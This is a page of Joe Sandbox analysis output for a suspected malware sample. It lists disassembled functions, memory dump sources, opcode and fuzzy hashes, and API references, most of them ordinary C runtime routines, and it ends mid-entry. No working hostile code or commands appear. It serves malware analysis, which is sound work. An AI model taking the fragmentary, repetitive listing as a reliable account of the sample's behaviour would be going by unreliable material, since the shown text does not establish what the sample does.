Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction ID: 6cd4af1cc6a784afd856be7925951e14e1bc4cf74da200ebaf26ac943e26f256
Opcode Fuzzy Hash: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction Fuzzy Hash: BDC08C34040902C6CE3989148271BA43355EBA2786F8804CCDC1A0B742C51E9CC2DA31

Function 00DDE362 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 00DDE37A Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 00DFF5BE Relevance: 54.3, APIs: 36, Instructions: 344
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

operator+.LIBCMT ref: 00DFF5D9

Part of subcall function 00DFC6E8: DName::DName.LIBCMT ref: 00DFC6FB
Part of subcall function 00DFC6E8: DName::operator+.LIBCMT ref: 00DFC702

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: 35539629968e138beffd51becdf4c8dee185b9484c6757ffb25b44c6f192daa8
Instruction ID: 17381072686e8c0c720f6ae8fd11d5504a077756b0602e08b1713109d22a76ad
Opcode Fuzzy Hash: 35539629968e138beffd51becdf4c8dee185b9484c6757ffb25b44c6f192daa8
Instruction Fuzzy Hash: 3BD11C7190020DAFDB10DFA8D995AFEBBB8EF04310F15806AF645E7291DB70AA45CB71

Function 00E00306 Relevance: 27.3, APIs: 18, Instructions: 274
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnDecorator::getECSUDataType.LIBCMT ref: 00E004A5
DName::operator=.LIBCMT ref: 00E00553
DName::operator+=.LIBCMT ref: 00E0057E
DName::DName.LIBCMT ref: 00E005E3
DName::operator+.LIBCMT ref: 00E005EA
DName::DName.LIBCMT ref: 00E0060D
DName::operator+.LIBCMT ref: 00E00614
DName::operator+=.LIBCMT ref: 00E00620
DName::operator=.LIBCMT ref: 00E00647
DName::operator+=.LIBCMT ref: 00E00659
UnDecorator::getPtrRefType.LIBCMT ref: 00E00682
operator+.LIBCMT ref: 00E00694

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Decorator::getNameName::Name::operator+Name::operator=Type$Dataoperator+
String ID:
API String ID: 1129569759-0
Opcode ID: 4b1be98ed866d8c366e32d253dce9319d2bb76e25a18985d730366eca7cfee2b
Instruction ID: d121f6c9e4a25a12b4210e22374dd3a3509c4617d21b621457ce6f9f100d4ec3
Opcode Fuzzy Hash: 4b1be98ed866d8c366e32d253dce9319d2bb76e25a18985d730366eca7cfee2b
Instruction Fuzzy Hash: 2791FEB1900209AECB24CFA8DD92BFD77B4EF04315F20A166F911F62D1D7349A808A69

Function 00E05B7C Relevance: 24.1, APIs: 16, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 00E05B95
__calloc_crt.LIBCMT ref: 00E05BB9
_free.LIBCMT ref: 00E05BC7
__calloc_crt.LIBCMT ref: 00E05BD5
_free.LIBCMT ref: 00E05BE5
_free.LIBCMT ref: 00E05BEB
__copytlocinfo_nolock.LIBCMT ref: 00E05BFA
__setlocale_nolock.LIBCMT ref: 00E05C07
___removelocaleref.LIBCMT ref: 00E05C13
___freetlocinfo.LIBCMT ref: 00E05C1A
_free.LIBCMT ref: 00E05C20
__setmbcp_nolock.LIBCMT ref: 00E05C32
_free.LIBCMT ref: 00E05C40
___removelocaleref.LIBCMT ref: 00E05C47
___freetlocinfo.LIBCMT ref: 00E05C4E
_free.LIBCMT ref: 00E05C54

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref$__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 2193103758-0
Opcode ID: e0e6feb646b9d5f5c9fbc8e349c52ac7b28d7dbcf52fdc2cb7b6a8317b8b62f5
Instruction ID: 5959e58a3561041f42db7534d65ea082eacc9a32ae6261705a853543f11d3a82
Opcode Fuzzy Hash: e0e6feb646b9d5f5c9fbc8e349c52ac7b28d7dbcf52fdc2cb7b6a8317b8b62f5
Instruction Fuzzy Hash: DF21F63A100A01DFE7213F29DC0291BBBD4DF81710B21942EF4887A1E1EB71ADC08E65

Function 00E006C9 Relevance: 13.6, APIs: 9, Instructions: 138
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DName::operator=.LIBCMT ref: 00E00718
DName::operator+=.LIBCMT ref: 00E00726
UnDecorator::getPtrRefType.LIBCMT ref: 00E00752
UnDecorator::getDataIndirectType.LIBCMT ref: 00E007CF
operator+.LIBCMT ref: 00E0086B

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Decorator::getType$DataIndirectName::operator+=Name::operator=operator+
String ID:
API String ID: 1973130989-0
Opcode ID: db8d11a71f2a75281423040ef37102b4fb204d993fb2863e53b6f8aff2559828
Instruction ID: 55c10438984740b1d3a69f66be4b80f111cab49c7cee319b6e6f69a90d856037
Opcode Fuzzy Hash: db8d11a71f2a75281423040ef37102b4fb204d993fb2863e53b6f8aff2559828
Instruction Fuzzy Hash: F841C132900209AFCB25AF94CC92BF93BB4FF04345F58A066F90566196D774EBC0DBA5

Function 00DFC9AA Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnDecorator::getArgumentList.LIBCMT ref: 00DFC9CF

Part of subcall function 00DFC56A: Replicator::operator[].LIBCMT ref: 00DFC5ED
Part of subcall function 00DFC56A: DName::operator+=.LIBCMT ref: 00DFC5F5

DName::operator+.LIBCMT ref: 00DFCA28
DName::DName.LIBCMT ref: 00DFCA80

Strings

(;C, xrefs: 00DFCA6A
8;C, xrefs: 00DFCA1B
4;C, xrefs: 00DFCA63
D;C, xrefs: 00DFCA14

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: (;C$4;C$8;C$D;C
API String ID: 834187326-2621726175
Opcode ID: 00b4ba88f2529d6448c9a8a500a00b8311539c59f106ea20ca9a2e191a690bfb
Instruction ID: daf2bb7f0c619f713421c468d7f76265c77821e9b75feb2a85b0523677dc148b
Opcode Fuzzy Hash: 00b4ba88f2529d6448c9a8a500a00b8311539c59f106ea20ca9a2e191a690bfb
Instruction Fuzzy Hash: 15219D3071024C9FCB15DF1CD5409B87BB0FF0574AB09E0A5E945CB266CB30EA52CB64

Function 00DBA5C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00DBA6E7
___TypeMatch.LIBVCRUNTIME ref: 00DBA7F5
CallUnexpected.LIBVCRUNTIME ref: 00DBA962

Strings

csm, xrefs: 00DBA672
csm, xrefs: 00DBA71E
csm, xrefs: 00DBA605

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: b3d1feae24227f12b345eba3d15f7d6839f286c905be4d2d1aff96abfa064859
Instruction ID: d662769122cf06a02eca3a18e08b459d74d38031b09948f141c6c64febb4f1d9
Opcode Fuzzy Hash: b3d1feae24227f12b345eba3d15f7d6839f286c905be4d2d1aff96abfa064859
Instruction Fuzzy Hash: 30B15A7580020AEFCF25DFA8C9819EEBBB5FF14310B18415AE8126B212D731DA51DFB2

Function 00DC5F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,B5B4AF43,?,00DC6057,00DBC446,?,F8250000,00000000), ref: 00DC600B

Strings

api-ms-, xrefs: 00DC5FA1
ext-ms-, xrefs: 00DC5FB5

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 753e804bac1ba8942a799ce83040c595c9d917884a85a35fdbd80328d05d8aac
Instruction ID: 7dd00f71db305c949cf6d310342100b1d2f335136683d561d49005dc5e36552f
Opcode Fuzzy Hash: 753e804bac1ba8942a799ce83040c595c9d917884a85a35fdbd80328d05d8aac
Instruction Fuzzy Hash: 5C210871A01616ABC7269F64EC44F6E3758AF41760B28022EF905B72D5DA30FD41C6F0

Function 00DFE343 Relevance: 10.6, APIs: 7, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 00DFE34D
DName::DName.LIBCMT ref: 00DFE359

Part of subcall function 00DFC024: DName::doPchar.LIBCMT ref: 00DFC055

UnDecorator::getScopedName.LIBCMT ref: 00DFE398
DName::operator+=.LIBCMT ref: 00DFE3A2
DName::operator+=.LIBCMT ref: 00DFE3B1
DName::operator+=.LIBCMT ref: 00DFE3BD
DName::operator+=.LIBCMT ref: 00DFE3CA

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID:
API String ID: 1480779885-0
Opcode ID: 7491704a406c1c578bfc7b1f4575f9842b7a48a94faccf0b99b655ecd725c168
Instruction ID: b0b69773ae92709a37e27e3522f8ed8a63ac090c17c307da8274f30703a4ea0e
Opcode Fuzzy Hash: 7491704a406c1c578bfc7b1f4575f9842b7a48a94faccf0b99b655ecd725c168
Instruction Fuzzy Hash: 6F11737190024CAFD705EB68C95ABBD7BE0EF40301F4A8095E646DB2A2DF70DA45C775

Function 00DCF356 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a3e022ab84f2da8b349b0a531fc9c633423022776f2bd009a0d5af0e48b90c7
Instruction ID: 5f9ca44567638f76dbd4fbf7558060758fb599f401225b55893d4874bf4e9505
Opcode Fuzzy Hash: 6a3e022ab84f2da8b349b0a531fc9c633423022776f2bd009a0d5af0e48b90c7
Instruction Fuzzy Hash: 22B1AF70A0420AAFDB15DFA9D880FED7BB2EF45310F18416EE445AB2A2D771D942CB70

Function 00E00381 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00E00553

Part of subcall function 00DFC324: DName::doPchar.LIBCMT ref: 00DFC34D

DName::DName.LIBCMT ref: 00E005E3
DName::operator+.LIBCMT ref: 00E005EA
DName::DName.LIBCMT ref: 00E0060D
DName::operator+.LIBCMT ref: 00E00614
DName::operator+=.LIBCMT ref: 00E00620
DName::operator=.LIBCMT ref: 00E00647
DName::operator+=.LIBCMT ref: 00E00659
DName::operator=.LIBCMT ref: 00E0066D
UnDecorator::getPtrRefType.LIBCMT ref: 00E00682
operator+.LIBCMT ref: 00E00694

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction ID: fd13744dccb9adfba4c50a9e7dcac9498ae787161102e79ec21ea3b78140c214
Opcode Fuzzy Hash: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction Fuzzy Hash: 40218E76A0110A9ECF28CEB8DD55EFDBBB49F04305F40A16AE501F79C4DA749B808E24

Function 00E00363 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00E00553

Part of subcall function 00DFC324: DName::doPchar.LIBCMT ref: 00DFC34D

DName::DName.LIBCMT ref: 00E005E3
DName::operator+.LIBCMT ref: 00E005EA
DName::DName.LIBCMT ref: 00E0060D
DName::operator+.LIBCMT ref: 00E00614
DName::operator+=.LIBCMT ref: 00E00620
DName::operator=.LIBCMT ref: 00E00647
DName::operator+=.LIBCMT ref: 00E00659
DName::operator=.LIBCMT ref: 00E0066D
UnDecorator::getPtrRefType.LIBCMT ref: 00E00682
operator+.LIBCMT ref: 00E00694

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction ID: 42231e0d205777fb1effe2d7b458a6c534a7a63d50b4d2ac7354455da62f6d7b
Opcode Fuzzy Hash: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction Fuzzy Hash: A2218E76A0110A9ECF28CEB8CE55EFDBBB49F04305F40A16AE501F69C4DA709F808E24

Function 00E0036D Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00E00553

Part of subcall function 00DFC324: DName::doPchar.LIBCMT ref: 00DFC34D

DName::DName.LIBCMT ref: 00E005E3
DName::operator+.LIBCMT ref: 00E005EA
DName::DName.LIBCMT ref: 00E0060D
DName::operator+.LIBCMT ref: 00E00614
DName::operator+=.LIBCMT ref: 00E00620
DName::operator=.LIBCMT ref: 00E00647
DName::operator+=.LIBCMT ref: 00E00659
DName::operator=.LIBCMT ref: 00E0066D
UnDecorator::getPtrRefType.LIBCMT ref: 00E00682
operator+.LIBCMT ref: 00E00694

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction ID: 9cc917d48cc4a3aedae479c90e2df70e71dcbb762b02fde54ea8e8c4e443b97c
Opcode Fuzzy Hash: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction Fuzzy Hash: AF218E76A0110A9ECF28CEB8CD55EFDBBB49F04305F40A16AE501F79C4DA70DB808E24

Function 00E00377 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00E00553

Part of subcall function 00DFC324: DName::doPchar.LIBCMT ref: 00DFC34D

DName::DName.LIBCMT ref: 00E005E3
DName::operator+.LIBCMT ref: 00E005EA
DName::DName.LIBCMT ref: 00E0060D
DName::operator+.LIBCMT ref: 00E00614
DName::operator+=.LIBCMT ref: 00E00620
DName::operator=.LIBCMT ref: 00E00647
DName::operator+=.LIBCMT ref: 00E00659
DName::operator=.LIBCMT ref: 00E0066D
UnDecorator::getPtrRefType.LIBCMT ref: 00E00682
operator+.LIBCMT ref: 00E00694

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction ID: f4a631815c0bf2288f9e00e165fc7a295d2a78da12021ca43c920693775443e4
Opcode Fuzzy Hash: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction Fuzzy Hash: 1B218E76A0110A9ECF28CEB8CD55EFDBBB49F04305F40A16AE501F69C4DA709B808E24

Function 00DB53B1 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

